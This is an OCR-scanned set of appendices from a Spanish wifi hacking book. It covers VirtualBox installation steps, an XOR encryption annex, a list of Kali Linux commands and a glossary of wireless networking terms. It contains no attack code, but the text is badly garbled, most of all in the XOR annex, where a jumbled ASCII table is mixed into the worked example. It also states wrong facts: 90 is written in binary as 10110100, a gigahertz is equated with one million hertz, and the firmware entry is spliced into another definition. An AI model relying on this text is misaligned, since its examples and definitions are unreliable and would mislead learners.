W Moo . Users\luis\Downlaads\VirtualBox:5.2.8-121008-Win.exe:
e Editor: Qqacle Corparation
Tipe:  Aplicacién.
De:  ChUsershluis\Downloads\VirtualBox-5.2.8-121008-Win....

| gecutar | [ Concelr |

M Preguntar sismpre antes de abrir este archive i

= Aungue los archivos procedentes de Internet pusden ser utiles, este
iﬂ tipe de archivo puede llegar a dafar el equipo. Solo ejecute software de
ki los editores en log que confia, (Cudl 2c &l riesgal




Hacking & cracking - Redes inalambricas wifi
Luis Angulo Aguirre

7. Haga clic en Next.

34 Oracte VM VirtuslBox 522 Setap
Custom Setup
Select the way you want features to be Instated,

Please chioase from the optians balow:

[ craate start meny entries

[ create a shortout on the deskiop

[ craate & shortautin the Quick Launch Bar
[ Register @e sssociations

8. Haga clic en Install.

(3 Orscle VM VinuelBox 528 Setup
Ready to Install
The Setup Wizard I ready to begin the Custom instafabion.

Install to begn the instalatien. If you want to review o change any of your
! Elnihtmxﬁmmaudaddccmdneﬁ:hmzm.
|

9. Confirme que desea hacer la instalacién con la opcion Yes.

{8 Craclevm VinualBon 528

Warning:
Network Interfaces

Instaling the Oradle VM VirtusiBox 5.2.8 Networking feshure
will reset your netwark connection snd temporardy
dizconnect you fram the netwark,

Proceed with Instafation now?

3.(. >
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10. Ahora, haga clic en Install.

47 Oracle VM ViruslBor 5.2 Setup o
Ready to Install
The Setup Wizard If resdy fo begin the Custom instalzsen,

Cick Install to begi he instabation. If you want to review of change any of
otelistion s2itngs, i Bac, Chek Cancel th £t he yrgocd, L

Espere unos minutos para que termine la instalacion.

3 Oracle Vivl VirualBior 3.2.8 Setup

Oracie VM VirtualBox 5.2.8

Pleaze wait whie the Seiup wirsd mnstells Orsce VM VirtuslBox 5.2.8, Tris may
teke severel mnates,

Statusr

ershin 5,28

Al terminar la instalacién, aparecera una pantalla como la siguiente:

Pt S e L G
150 Oracte UM VirtualBox 5.2.8 Setup %

~ installation is complete.

Oracle VM VirtualBox 5.2.8 ‘
|
Click the Finieh button to &xit the Setup Wizard, ‘

[ 5tart Dracte V1 VirtualBox £,2,8 sher ngtaliation

i
|
|
|

11. Sino va a usar el VirtualBox en este momento, desactive |a casilla de verifica-
cion Start Oracle VM VirtualBox 5.28 after installation. Luego, haga clic en

el botdn Finish v el programa VirtualBox quedara instalado.

It
il
I|||I| I

i
i

I
i

|
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I
i
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ANexo 2

Cifrado
XOR

En criptografia, el cifrado XOR es un algoritmo de cifrado basado en el operador
binario XOR que cumple las siguientes propiedades:

SIA®B=C,luego,siA&C=8B

Donde @ es una operacion OR exclusiva (XOR). Una cadena de texto puede ser
cifrada aplicando el operador de bit XOR sobre cada uno de los caracteres utili-

zando una clave. Para descifrar la salida, solo hay que volver a aplicar el operador
XOR con la misma clave.

Por ejemplo, para la cadena «VALERIA», se ejecutan los siguientes pasos:

1. Se toma como referencia la siguiente regla:

|
‘H |
Ww"'
\‘ |
N"I“
\ |
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2. Se utilizan los caracteres ASCII. Letra «V» en binario 01010110
: e = = Ndmero <90 en binario | 10110100 a
: : m" .__.dﬁ#m'_.”' :' | imprimib (Pagina de codigo 437) , Resultado 11100010 !guai 2260 = O
| 00 NULL  (cardcter nuio) 32 espaclo. 64 @ 96 ' fen ¢ {180 A& |82 L Meaq) . O FEEEESSS S S . e
| 01 SOH (inicie encabezads) 3l 85 A |97 R ET I T i 193 L 228 B
' T I msemwy | 138 s |87 £ [ o | |31 8|l @ fw T [ § F Letra «A» en binario 01000001
b d 8 184 4 (18 — |2%8 S - =
- g; :3; (ﬂn'\:r::::::;on} 1 g? :. ?3 'é' 13'}' e }gg a 1:5 W o197 4+ 29 B ‘ Numero «?0» en bmar\o 10110100
L] 06 ACK  (reconocimiento) 33 & 70 F 102 f 134 a 166 . 198 @ 230 u h e O e - — e e s
07 BEL trire) 3+ |7 6 (103 g . (138 ¢ (167 * (198 A (a1 p | Resultado 11110101 | Igual «245» = §
08 BS {retracesa) 40 t F72 ¥ |14 b ‘136 & 158 ¢ j200 b jz3 p e S L e e U it L R __
08 HT (tab herizental) 41 y 172 | 108 i 1ar g 168 @ 201 1233 u
10 LF (nueva lines) 42 L J 108 i 138 @ 170 = 202 I 234 u
1MovT ilab vertical) 42+ 75 K (107 Kk 138 1 (171 % 203 £ (235 O Letra «L» en bmarlo 01001100
12 FF (nueva pagina) 44 4 76 L 108 I 140 i 172 % 204 E 238 ] f\iji £ = — | —— = e
3 CR o o) 5 108 141 i 73 208 = 237 ¥ §
| ;4 S0 cﬁﬁmﬁﬁ.) :g ; g 'ﬁl 110 7 142 : ?:?4 v s & 238 el «90» E”P,'[‘?I'O . 10110?90,,, S
) 15 St )i tr 47 111 142 175 » 207 o 239 g _ o
O S i [ 1 ) S RS 44 E |uwe E lo0a 8 240 = F?(.a_sf_[_"_lf?aqo | 11121000 | lgual «248»> =
17 DCt (cantroldisp. 1) | | 48 1 B1 Q 113 q |145 @ 177 = 209 B 244 * |
18 DC2 (control aisp. 2) 50 2 82 R 114 T ‘148 & 178 210 E g:g 5 I
19  DC3 control disp. 2) | 51 3 B3 5 118 - | 147 [ 179 211 i i i k il
20 DC4 :,cumroldbz 4; 52 4 B4 T 116 1 148 (1] 180 212 E 24; b | LEtLa «.E» Eﬂi b|nar|0 vl N 01000101 L I
M, . negativa) "7 u 149 0 181 213 | 24 | . : . i
P R i -SSR T 1 B 0182 Aojau 12 ¥ ~Ndmero «?0» _e_n__l:;_|_nar!o N 101191_00 ‘ |‘|
| in ran 5 19 16 U [:k] | 215 | 247 < : R e i
26 O iomcom | {88 & |es X | x | |12 § |me e (2 [ |2 Resultado 11110001 | Igual «241» = = J
25 EM  {fin delmecio) 57 8 |88 Y 121 ¥ 153 0 185 4' 217 4 j2a9 o R e k e |I!||‘
26 SUB  (susiuciin) R § LA 1 g : | 1554 ] 133 ! g:g 'r 553 . |||- |
27 ESC c i) 59 ’ a1 | ¥ 15 8 ‘ | 25 2 |
: 2OFS e archivie) ST 124 | 16 £ (188 1 |20 g = Letra “R” en binario 101010010 -Hﬂ
29 GS {sg 0 6 = | 93 128 | 157 @ 189 221 | 1 25 = | EEES S i
' 30 RS (v ey | o foe Aol d b« jwe ko= ! 255 “m Numero «90>>er1 blnaﬂo 10110100 .|||||N
31 US  (eep undades) | | B3 7 95 _ Co1Ea f e 223 255 nbsp = — . I
| g S ol | . | Resutado | 11100110 | Igual «230» = i|||.|
| ‘IH ‘
3. Se pasan todas las letras del abecedario a codigo binario. Letra«l» en binario 01001001 HMIH“
7 T Numero 90 bi | ‘
Letra Caracter ASCII Cédigo binario | AT G B 10110100 - |||\H
Resultado L
. v 86 01010110 | Resultado | 11111001 | lgusl 249 =" '1];\” “
I
AL S __________01(_)000017 Letra «A» en binario 01000001 Ii|!||||““
. Ak L 9L00L100 N_gmero «90»7en bmarro 10110100 iﬁmmh'
E . 8% 1 OO Resultado 11110101 Igua «245% g, “U“ “
R e e o ;‘liiﬂﬂm
| 73 01001001 6. Finalmente, quedarla formada la palabra en cifrado XOR ‘
S SRR ke ORI | R R S R NN
4. Se usa una cave cualquiera, por ejemplo 90: Una vez pasado al cifrado XOR es igual a: |||“|
' il
Nimero  Cddigo binario ; 6 5 ° v B | ‘ -
st s e TR il

90 | 10110100 i : : ;
FEREA A SR i i El operador XOR es muy comin como parte de cifrados mas complejos. Sin “|| I

embargo, por si solo el cifrado XOR es muy vulnerable y es muy facil obtener
la clave a través del andlisis de varios mensajes cifrados con la misma clave. !N "

5. Se empieza a cifrar:
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.5
i

1A

« apropos: Buscar ayuda entre las paginas del manual (man -k).

« apt-get: Buscar e instalar paquetes de software (Debian/Ubuntu).
[ . . _ .
' + aptitud: Buscar e instalar paguetes de software (Debian / Ubuntu).
. ‘. « aspell: Corrector ortografico.

+ awk: Buscar y reemplazar texto, base de datos de tipo sort/validate/index,

- basename: Listar directorio de Gaza y el sufijo de nombres de archivo.
« bash: GNU Bourne-Again Shell.

- be: Precision arbitraria idioma calculadora.

+ bg: Enviar a fondo.

- break: Salir de un bucle.

+ builtin: Ejecutar una orden interna del Shell.

»  bzip2: Comprimir o descomprimir archivos.
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cal: Mostrar un calendario.

case: Ejecutar condicionalmente un comando.

cat: Concatenar e imprimir (en pantalla) el contenido de los archivos.
cd: Cambiar de directorio.

cfdisk: Administrar la tabla de particiones para Linux.

chgrp: Cambiar la propiedad del grupo.

chmod: Cambiar los permisos de acceso sobre archivos.
chown: Cambiar el propietario del archivo y el grupo.

chroot: Ejecutar un comando con un directorio raiz diferente.
chkeconfig: Los servicios del sistema (nivel de ejecucion).
cksum: Imprimir CRC checksum y bytes recuentos.

clear: Borrar la pantalla del terminal.

cmp: Comparar dos archivos.

comm: Comparar dos archivos ordenados por linea.

command: Ejecutar un comando - haciendc caso omiso de las funciones
de Shell.

continue: Reanudar |a siguiente iteracion de un bucle.
cp: Perrmite copiar archivos.

cron: Ejecutar comandos programados.

crontab: Programar un comando para ejecutar en un momento posterior.

csplit: Dividir un archivo en trozos de contexto determinado.

cut: Dividir un archivo en varias partes.

Anexo 3
Comandos utilizados en Kali Linux

iD

date: Mostrar o cambiar la fecha y la hora.
dc: Escritorio de la calculadora.

dd: Convertir y copiar un archivo, escribir cabeceras de discos vy discos
de arranque.

ddrescue: Herramienta de recuperacién de datos.
declare: Declarar variables y darles atributos.

df: Mostrar el espacio libre en disco.

diff: Mostrar las diferencias entre dos archivos.

diff3: Mostrar las diferencias entre los tres archivos.
dig: Buscar DNS.

dir: Listar brevemente el contenido del directorio.
dircolors: Configurar el color.

dirname: Convertir una ruta completa a solo una ruta.
dirs: Mostrar la lista de directorios recordadas.
dmesg: Imprimir mensajes del kernel v de los controladores.

du: Estimar el uso del espacio de archivos.

echo: Mostrar mensaje en la pantalla.

egrep: Buscar archivos para las lineas que coincidan con una expre-
sion extendida.

eject: Expulsar medios extraibles.
enable: Activar y desactivar los comandos de Shell.
env: Las variables de entorno.

ethtool: Configurar |z tarjeta Ethernet.
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eval: Evaluar varios comandos o argumentos.

exec: Ejecutar un comando.

exit: Salir de la Shell.

expect:; Automatizar aplicaciones arbitrarias a través de un terminal.
expand: Convertir tabulaciones en espacics.

export: Establecer una variable de entorno.

expr: Evaluar expresiones.

false: Devuelve el valor 1 en el Shell (valor de falsedad) para ignorar el éxito
o fracaso de una secuencia de datos.

fdformat: Formateo de bajo nivel de un disquete.

fdisk: Administrar la tabla de particiones para Linux.

fg: Enviar un trabajo a primer plano.

fgrep: Buscar archivos para las lineas que coincidan con una cadena fija.
file: Determinar tipo de archivo.

find: Buscar archivos que cumplan unos criterios deseados.
fmt: Cambiar el formato de texto de péarrafo, reformateo.
fold: Ajustar texto para adaptarse a un ancho especificado.
for: Expandir las palabras y ejecutar comandos.

format: Formateo de discos.

free: Mostrar uso de la memoria.

fsck: Comprobar vy repara archivos del sistema.

ftp: Protocolo de transferencia de archivos.

function: Definir macros de funcion.

fuser: Identificar o eliminar el proceso al que esté accediendo un archivo.

Anexo 3
Comandos utilizados en Kali Linux

1G

gawk: Buscar y reemplazar texto dentro del archivo.

getopts: Analizar parametros posicionales.

grep: Buscar archivos que coincidan con las Iineas de un patrén dado.
groupadd: Agregar un grupo de seguridad de usuario.

groupdel: Eliminar un grupo.

groupmaod: Modificar un grupo.

groups: Imprimir los nombres de grupos.

gzip: Comprimir o descomprimir archivo con el nombre del archivo.

iH

hash: Recordar la ruta completa de los comandos especificados como argu-
mentos de nombre,

head: Szlida de la primera parte del archivo.
help: Mostrar la ayuda para un comando.
history: Historial de comandos.

hostname: Imprimir el nombre del sistema.

iconv: Convertir la codificaciéon de un conjunto de caracteres de un archivo
a otro.

id: Imprimir identificadores de usuario y de grupo.
if: Mostrar condicionalmente un comando.
ifconfig: Mostrar la configuracion de una interfaz de red.

ifdown: Detener una interfaz de red.

ifup: Iniciar una interfaz de red.
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« import: Captura de una pantalla del servidor X y guardar la imagen en
un archivo.

+ install: Copiar archivos y establecer atributos.
<+ iwconfig: Mostrar configuracion de redes wifl.

+ iwlist scan: Buscar puntos de acceso wifl.

nJ

+ jobs: Listar los trabajos activos.

« join: Unir lineas en un campo comun.

1K

« kill: Detener un proceso que se ejecuta.

« killall: Terminar procesos asociados a programas, cuyos nombres son propor-
cionados como argumentos.

« less: Mostrar la salida de una pantalla a la vez.

+ let: Realizar operaciones aritméticas sobre variables de Shell.
+ In: Crear un enlace simbolico a un archivo.

+ local: Crear las variables.

+ locate: Encontrar los archivos.

+ logname: Mostrar el nombre de usuario actual.

+ logout: Salir de un Shell.

« look: Mostrar las lineas que comienzan con una cadena dada.
« Ipc: Programa de control de la impresora.

« lpr: Linea de impresion.

iM
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Iprint: Imprimir un archivo.

Iprintd: Abortar un trabajo de impresion.
Iprintq: Escribir la cola de impresion.

Iprm: Eliminar trabajos de la cola de impresion.
Is: Listar informacién sobre archivos.

Isof: Listar archivos abiertos.

58

3

s

<,
e

in \

make: Volver a compilar un grupo de programas.

man: Manual de ayuda.

mkdir: Crear nuevo directorio.

mkfifo: Crear FIFO.

mkisofs: Crear un sistema de archivos hybrido ISO 9660/JOLIET/HFS.

mknod: Crear un archivo de caracteres especiales. ‘

more: Mostrar |z informacién de un archivo o comando visualizando una i
pagina a la vez. %

mount: Montar un sistema de archivos. I
|
mtools: Manipular archivos de MS-DOS.

mtr: Diagnostico de la red (traceroute/ping).

i |
mv: Mover o cambiar el nombre de archivos o directorios. ww j

|

|

mmv: Mover y renombrar archivos. '

netstat: Informacion en red. | !'
nice: Establecer la prioridad de un comando o tarea.

nl: NUmero de lineas escritas en un archivo. ‘““
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+ nohup: Ejecutar un comando inmune a bloqueos.
+ notify-send: Enviar notificaciones de escritorio.

+ nslookup: Consultar a los servidores de nombres de dominio de
forma interactiva.

10

+ open: Abrir un archivo en su aplicacion por defecto.

« op: Acceso del operador.

P

+ passwd: Modificar una contrasefia de usuario.

+ paste: Combinar lineas de archivos.

« pathchk: Comprobar la portabilidad nombre del archivo.
+ ping: Probar una conexion de red.

« pkill: Detener los procesos que se estan ejecutando.

+ popd: Restaura el valor anterior del directorio actual.

« pr: Preparar archivos para una impresion.

« printcap: Base de datos de |a capacidad de la impresora.
« printenv: Variables de entorno de impresion.

« printf: Formato y datos de impresion.

% ps: Estado del proceso.

« pushd: Guardar y cambiar el directorio actual.

+ pwd: Muestra el directorio de trabajo.

Anexo 3
Comandos utilizados en Kali Linux

1Q

03
P

quota: Mostrar el uso y los limites del disco.

o

« quotacheck: Escanear un sistema de archivos para el uso del disco.

s

» quotactl: Establecer las cuotas de disco.

2,

IR

« ram; Memoria RAM del dispositivo.

+ rcp: Copiar archivos entre dos maquinas.

< read: Leer una linea de la entrada estandar.

« readarray: Leer desde la entrada estdndar en una variable de matriz.
« readonly: Marcar las variables o funciones como solo lectura.
+ reboot: Reiniciar el sistema.

< rename; Cambiar el nombre de archivos.

< renice: Alterar |a prioridad de los procesos en ejecucion.

+ remsync: Sincronizar archivos remotos via correo electrénico
< return: Salir de una funcion de Shell.

« rev: Lineas inversas de un archivo.

« rm: Eliminar archivos o una carpeta.

+ rmdir: Eliminar carpetas.

< rsync: Copiar archivos remotos (sincronizar arboles de archivos).

1s

+ screen: Terminal multiple, ejecute shell remoto mediante SSH.

« scp: Copia de seguridad (copia de archivos remotos).

+ sdiff: Combinar dos archivos de forma interactiva.
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sed: Editor sencillo.

select: Aceptar la entrada de teclado.

seq: Imprimir secuencias numéricas.

set: Manipular las variables y funciones de Shell.
sftp: Programa de transferencia de archivos seguro.
shift: Shift parametros posicionales.

shopt: Opciones de Shell.

shutdown: Apagar o reiniciar Linux.

sleep: Retraso por un tiempo determinado.

slocate: Encontrar archivos.

sort: Ordenar archivos de texto.

source: Ejecutar comandos desde un archivo.

split: Dividir un archivo en fragmentos de tamafo fijo.
ssh: Secure Shell client (programa de acceso remoto).
strace: Llamadas y sefales de seguimiento al sistema.
su: La identidad del usuario sustituto.

sudo: Ejecutar un comando como otro usuario.

sum: Imprimir una suma de comprobacién de un archivo.

suspend: Suspender la ejecucion de la Shell.
symlink: Hacer un nuevo nombre para un archivo.

sync: Sincronizar datos en el disco con la memaria.

BT

»

*,
>3

tail: Salida de la dltima parte del archivo.

tar: Para comprimir o descomprimir archivos o copias de seguridad.

tee: Redirigir la salida a varios archivaos.
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test: Evaluar una expresion condicional.

time: Medir programa de tiempo de ejecucion.

times: Tiempos usuario y del sistema.

touch: Marcas de hora de modificacion del archivo.

top: Listar los procesos que se gjecutan en el sistema.

traceroute: Trazar ruta al host.

trap: Ejecutar un comando cuando se establece una sefial (bourne).
tr: Traducir o eliminar caracteres.

true: Devuelve el valor de O en el Shell (un valor de verdad) para que el script
sea mas legible,

tsort: Clasificacion topolégica.
TTY: Imprimir nombre de archivo de la terminal en la entrada estandar.

type: Describir un comando.

v

ulimit: Limitar los recursos de usuario.

umask: Los usuarios presentan mdscara de creacion.

umount: Desmontar un dispositivo.

unalias: Quitar un alias.

uname: Imprimir informacién del sistema.

unexpand: Convertir espacios a las pestafas.

unig: Permitir remover o mostrar las lineas repetidas de un archivo.
units: Convertir unidades de una escala a otra.

unset: Quitar nombres de variables o funciones.

unshar: Secuencias de comandos shell de desempaguetado de archivos.

until: Ejecutar comandos (hasta el error).
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« uptime: Mostrar el tiempo de actividad.
« useradd: Crear nueva cuenta de usuario.
« userdel: Eliminar una cuenta de usuario.
+ usermod: Modificar la cuenta de usuario.
« users: Listar los usuarios logueados.

<+ uuencode: Codificar un archivo binario.

« uudecode: Decodificar un archivo creado por uuencode.

v

« vdir: Lista mas detallada del contenido del directorio (Is -| -b').
< vi: Editor de texto.

« wvmstat: Informe de estadisticas de memoria virtual.,

W

« wait: Esperar a gue un procesa se complete.
« watch: Ejecutar o mostrar periédicamente un programa.
+ wc: Imprimir bytes, palabras y los recuentos de linea.

+ whereis: Buscar la ruta del usuario, paginas del manual y archivos de cédigo
fuente de un programa.

« which; Buscar la ruta del usuario para un archivo de programa.

« while: Ejecutar comandos.

<+ who: Imprimir todos los nombres de los usuarios actualmente logueados.
« whoami: Imprimir el ID de usuario actual y el nombre.

« wget: Recuperar paginas web o archivos a través de HTTP, HTTPS o FTP.

< write: Enviar un mensaje a otro usuario.
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X

xargs: Ejecutar utilidad, pasando lista de argumentos construidos.

xdg-open: Abrir un archivo o URL en una aplicacion preferida del usuario.

yes: Imprimir una cadena hasta que se interrumpa.




PROMPT
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. 802.1x Autenticacion basada en puertos. Permite la autenticacion de dispo-
sitivos conectados a un puerto LAN, estableciendo una conexién peer-to-peer
(punto a punto) o previniendo el acceso por ese puerto. Si la autenticacion falla.
802.1x niega a los usuarios el acceso a un segmento de red al que estén fisica-
mente conectados hasta que el usuario se haya autenticado.

802.11x. Abreviatura para referirse a todas las tecnologias 802.11: 802.113,
802.11b, 802.11g, y 802.11n.

802.11. Grupo de trabajo del IEEE que desarrolla distintos estandares para el uso
de la tecnologia de radiofrecuencia en las redes de area local (LAN). EI 802.11 se
I compone de distintas normas gue operan a diferentes frecuencias, con distintas
velocidades y capacidades. Ademas, especifica una interfaz «a través del aire»
entre un cliente inaldmbrico y una estacion base o entre 2 clientes inalambricos.
| La IEEE aceptd la especificacion en 1997.

802.11a. Estindar de red inaldmbrica |IEEE que especifica una tasa de transfe-
rencia maxima de 54 Mbps y una frecuencia de funcionamiento de 5 GHz.

802.11b. Estandar de red inaldmbrica IEEE gue especifica una tasa de trans-
ferencia méaxima de 11 Mbps y una frecuencia de funcionamiento de 2.4 GHz.

802.11g. Estandar de red inaldmbrica IEEE que especifica una tasa de transfe-
rencia maxima de 54 Mbps, una frecuencia de funcionamiento de 2.4 GHz y con |
compatibilidad con versiones anteriores con dispositivos 802.11b. .




Hacking & cracking - Redes inalambricas wifi
Luis Angulo Aguirre

Ad hoc (modo ~!). Un tipo de topologia de WLAN en la que solo existen dispo-
sitivos clientes. Los dispositivos o estaciones se comunican unos con otros sin el
uso de un AP. El modo ad hoc también se le conoce como mado peer to peer o
como IBSS. El modo ad hoc es til para establecer una red donde la infraestruc-
tura inaldambrica no existe o donde no son necesarios de determinados servicios.

AES (Advanced Encryption Standard). Algoritmo de encriptacién del gobierno de
EE. UU basado en el algoritmo Rijndael, que es el método de encriptacién simétrica
con clave de 128 bits desarrollada por los belgas Joan Daemen y Vincent Rijmen.

Ancho de banda. Ver Bandwith.

AP (Access Point). Dispositivo usado para conectar dispositivos inaldmbricos a
redes inaldmbricas. Los AP son importantes porque proveen un aumento de la
seguridad inaldmbrica y porque con ello se extiende el rango fisico donde un
usuario inalambrico tiene acceso.

ARP (Address Resolution Protocol). Un protocolo de capa 2 utilizado para deter-
minar la direccion de capa 2 (mac) para una direccién dada de capa 3.

Asaciacion (servicio de ~). El proceso de conectar un dispositivo inalambrico a
un AP.

Autenticacién. Proceso de identificacion de un equipo o usuario. El estandar
802.11 define dos métodos de autentificacion: open system vy shared key.

Auditoria. Un control formal para determinar el cumplimiento de las paliticas,
generalmente realizado por auditores internos en una organizacion o por un
tercero independiente.

Banda ancha inalambrica. Comunicacion punto a punto o punto a multipunto
con un rango a partir de los 200 metros hasta 20 kilémetros de distancia o més,
y una capacidad de transmisién de datos desde 1 Mbps hasta 45 Mbps 0 més.

Banda ancha mévil (BAM). Esta tecnologfa permite obtener Internet en cualquier
lugar y momento, siempre que se disponga de cobertura movil, y puede ofrecer
velocidades equiparables a las velocidades de banda ancha por cable (entre 3
y 42 Mbps dependiendo del operador y del tipo de conexion: GPRS, 3G, 4G),

Banda ISM. Ver ISM, Band.

* Enlo siguiente, esta virgulilla serd empleada para indicar |z posicién original de la palabra a definir.
Por lo tanto, tiene un empleo diferente al usado en el resto del libro.
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Bandwith. En espafiol, ancho de banda. Es un fragmento del espectro radioeléc-
trico que ocupa toda sefial de informacion. Describe |a cantidad de informacion
gue puede ser transmitida durante una conexion.

Bluetooth. Tecnologia desarrollada para la interconexién de portatiles, PDA,
teléfonos maviles y similares a corta distancia (menos de 10 metros) con una
velocidad maxima de 11Mbps a la frecuencia ISM de 2.4 GHz.

Bridge (puente). Dispositivo que conecta dos segmentos de red que emplean el
mismo protocolo de red {por ejemplo, IP, wireless, Ethernet), pero con distintos
medios fisicos (por ejemplo, una red inaldmbrica a una red Ethernet con cable).

Brute force (fuerza bruta). Un ataque poco técnico para obtener una contrasena
en el que se prueban todas las combinaciones de opciones posibles hasta que se
obtiene el valor correcto.

BSS (Basic Service Set). El grupo mas basico de estaciones inaldmbricas que se
comunican para formar una red inaldmbrica.

BSSID (Basic Service Set Identifier), Un identificador Unico para un BSS y que se
emplea en redes ad hoc. Toma el mismo formato que una direccion MAC.

CAPWAP (Control And Provisioning of Wireless Access Points). Un estandar
abierto basado en LWAPP para la configuracion y administracion de AP inaldm-
bricos desde un controlador central.

CCMP (Counter Mode with Cipher Block Chaining Message Authentication Control
Protocol). Una tecnologia de cifrado utilizada con WPA2 para reemplazar el proto-
colo TKIP mas débil.

Cifrado. Es la manipulacion de datos para evitar gue cualquiera de los usuarios
a los que no estan dirigidos los datos puedan realizar una interpretacion precisa.

Clave de encriptacion. Conjunto de caracteres que se utilizan para encriptar y
desencriptar la informacién gue se quiere mantener en privado. El tipo de clave
y la forma de emplearla depende del algoritmo de encriptacion que se utilice.

Cliente o dispositivo cliente. Cualguier equipo conectado a una red y que soli-
cita servicios (ficheros, impresion, etc.) de otro miembro de la red. En el caso de
las WLAN, se suele emplear para referirse a los adaptadores que proporcionan
conectividad a través de la red inalambrica, como tarjetas PCMCIA, PCl o USB,
que permiten al equipo acceder a la red.
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Cloud computing. Un modelo para permitir acceso a la red ubicuo, conveniente
y bajo demanda a un grupo compartido de recursos informéaticos configura-
bles (por ejemplo, redes, servidores, almacenamiento, aplicaciones v servicios)
que pueden aprovisionarse y lanzarse rapidamente con un minimo esfuerzo de
gestion o interaccion del proveedor de servicios. Este modelo de nube promueve
la disponibilidad y se compone de cinco caracteristicas esenciales, tres modelos
de servicio y cuatro modelos de implementacion.

Confidencialidad (Confidentiality). La prevencion de la divulgacion de informa-
cion a partes no autorizadas.

Consultant (consultor). Un experto en la materia contratado para realizar un
conjunto especifico de actividades. Por lo general, una declaracion de trabajo
describe los productos a ser completados por el consultor y los plazos para
cada entregable.

dB. Unidad logaritmica empleada habitualmente para la medida de potencias. Se
calcula multiplicando por diez el resultado del logaritmo en base 10 de la potencia
(en watios): 10 x log10 (mW). También puede usarse como medida relativa de
ganancia o pérdida de potencia entre dos dispositivos.

Es una medida de diferencia de potencias, definida de tal modo que un incre-
mento en potencia de 10 veces equivale a 10 decibeles.

dBi. Decibelios isotrépicos. Valor relativo, en decibelios, de la ganancia de una
antena respecto a la antena isotrépica. Cuanto mayor sea este valor, mas direc-
tividad tiene la antena y mas cerrado serd su angulo de emision.

DHCP (Dynamic Host Configuration Protocol). Protocolo para la configuracion
automatica de los parametros de red de los equipos. La informacion se almacena
en un servidor DHCP al que los equipos, al encenderse, solicitan los parametros
de configuracion.

Dipolo (antena ~). Antena de baja ganancia (2.2 dBi) compuesta por dos
elementos, normalmente internos, cuyo tamafio total es la mitad de la longitud
de onde de la sefal que trata. :

Direccidn IP. Un nimero de 32 bits que identifica a un equipo a nivel de proto-
colo de red en el modelo ISO. Se compone de dos partes: la direccién de red,
comun a todos los equipos de la red, y la direccion del equipo, Unica en dicha red.
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Directividad. Capacidad de una antena para concentrar la emision en una deter-
minada regidn del espacio. Cuanto mas directiva sea la antena, se obtiene un
mayor alcance a costa de un drea de menor cobertura.

DNS (Domain Name System). En espafiol, sistema (servicio o servidor) de nombres
de dominio. El DNS es un programa gue traduce los URL en direcciones |P ingre-
sando a una base de datos ubicada en una serie de servidores Internet. Este
programa funciona en segundo plano para que el usuario pueda navegar por la
Internet utilizando direcciones alfabéticas en vez de una serie de nimeros. El
servidor DNS convierte un nombre como misitioweb.com en una serie de nimeros
como 107.22.55.26. Cada sitio web tiene su propia direccién IP en Internet.

DSSS (Direct Sequence Spread Spectrum). Técnica de transmision de sefales de
radio, en la gue las senales de los datos originales son multiplicadas con un cédigo
disperso de ruido seudoaleatorio.

DTIM (Delivery Traffic indication Message). En espaiol, mensaje de indicacion de
tréfico de entrega. Mensaje incluido en paguetes de datos que puede aumentar
la eficacia inalambrica.

EAP (Extensible Authentication Protocol). Un marco de protocolo utilizado para
llevar varios métodos de autenticacion utilizados en WPA y WPAZ.

EAP-PEAP (Protocolo autenticacion extensible-Protocolo autenticacién exten-
sible protegido). Método de autenticacion mutua que utiliza una combinacion de
certificados digitales y otros sistemas, como contrasefas.

Espectro radioeléctrico. E| espectro radioeléctrico es toda la escala de frecuen-
cias de las ondas electromagnéticas. Considerado como un dominio de uso
publico, su division vy utilizacion estan regularizadas internacionalmente.

ESSID (Extended Service Set Identifier). |dentifica uno o mas conjuntos de servi-
cios basicos conectados, generalmente denominados nombre de red legible por
el ser humano. Es uno de los dos tipos de SSID, especificamente, que se emplea
en redes wireless en modo infraestructura.

Ethernet. Ethernet es el nombre comun del estandar I[EEE 802.3, que define las
redes locales con cable coaxial o par trenzado de cobre. Existen distintas versiones,
desde la original 10Base5 (cable coaxial con 10 Mbps hasta 500 metros), pasando
por la 10Base2 (coaxial, 10Mbps, 200m), 10BaseT (par trenzado, 10 Mbps, 100m)
y 100BaseT (trenzado, 100Mbps, 100m) conocida como Fast Ethernet, el mas
utilizado hoy en dia en redes locales.
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FCC (Federal Communication Commision). Agencia gubernamental de los EE. UU.
para la regularizacion de las comunicaciones por radio, television, cable y satélite.

FHSS (Frequency Hopping Spread Spectrum). Técnica de transmision de sefales
de radio en el que la portadora cambia rapidamente entre varios canales
de frecuencia.

Firewall. Sistema de seguridad que previene el acceso no autorizado a la red,
restringiendo la informacion que entra o sale de la red. Puede ser un equipo
especifico o un software.

Firmware. El codigo de la programacion gue ejecuta un dispositivo de red.
Consiste en fragmentar o divididr un paguete en unidades menores al transmitirlas
a través de un medio de red que no puede admitir el tamaro original del paguete.

Frase secreta. Se utiliza con mucha frecuencia como una contrasefia, ya que una
frase secreta simplifica el proceso de cifrado WEP generando de forma automa-
tica las claves del cifrado WEP para los productos Linksys.

Ganancia de antena. Un término usado para comparar el rango de efectividad, o
distancia de una antena. La ganancia se mide en decibeles (dB). A mayor ganancia,
mayor ranga de operacion.

Gateway. Dispositivo que conecta a distintas redes entre si, gestionando la
informacion entre ellas. También es el nombre de los equipos gue se usan para
interconectar redes.

GHz. Equivale a 107 hercios (1 millén). Se utiliza muy frecuentemente como unidad
de medida de la frecuencia de trabajo de un dispositivo de hardware.

GPS (Global Positioning System). Sistema global que usa satélites para determinar
la ubicacion precisa en la Tierra de los receptores GPS.

Honeypot. Un sistema disefiado para atraer a un tipo especifico de usuario, gene-
ralmente un atacante, al imitar los atributos de un sistema vulnerable.

Hotspot. Es un lugar donde se puede acceder a una red wireless publica, ya sea
gratuita o de pago. Pueden estar en cibercafés, aeropuertos, centros de conven-
ciones, hoteles, y otros lugares de encuentro para proporcionar acceso a su red o
a Internet a los visitantes o invitados.

Hub. Dispositivo de red multipuerto para la interconexion de equipos via Eterhnet
o wireless. Los concentradores mediante cables alcanzan mayores velocidades
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que los concentradores wireless (Access Points), pero estos suelen dar cobertura
a un mayor numero de clientes que los primeros.

Hz (Hercios). Unidad internacional para la frecuencia, equivalente a un ciclo por
segundo. Un megahercio (MHz) es un millén de hercios; un gigahercio (GHz) son
mil millones de hercios.

IEEE (Institute of Electrical and Electronics Engineers). Organizacion formada por
ingenieros, cientificos y estudiantes involucrados en el desarrollo de estandares
para, entre otros campos, las comunicaciones. Este organismo utiliza los numeros
y letras en una clasificacion jerarquica para diferenciar grupo de trabajo y sus
normas. As/, el subgrupo 802 se encarga de las redes LAN y WAN, y cuenta con
la subseccion 802.11 para las redes WLAN.

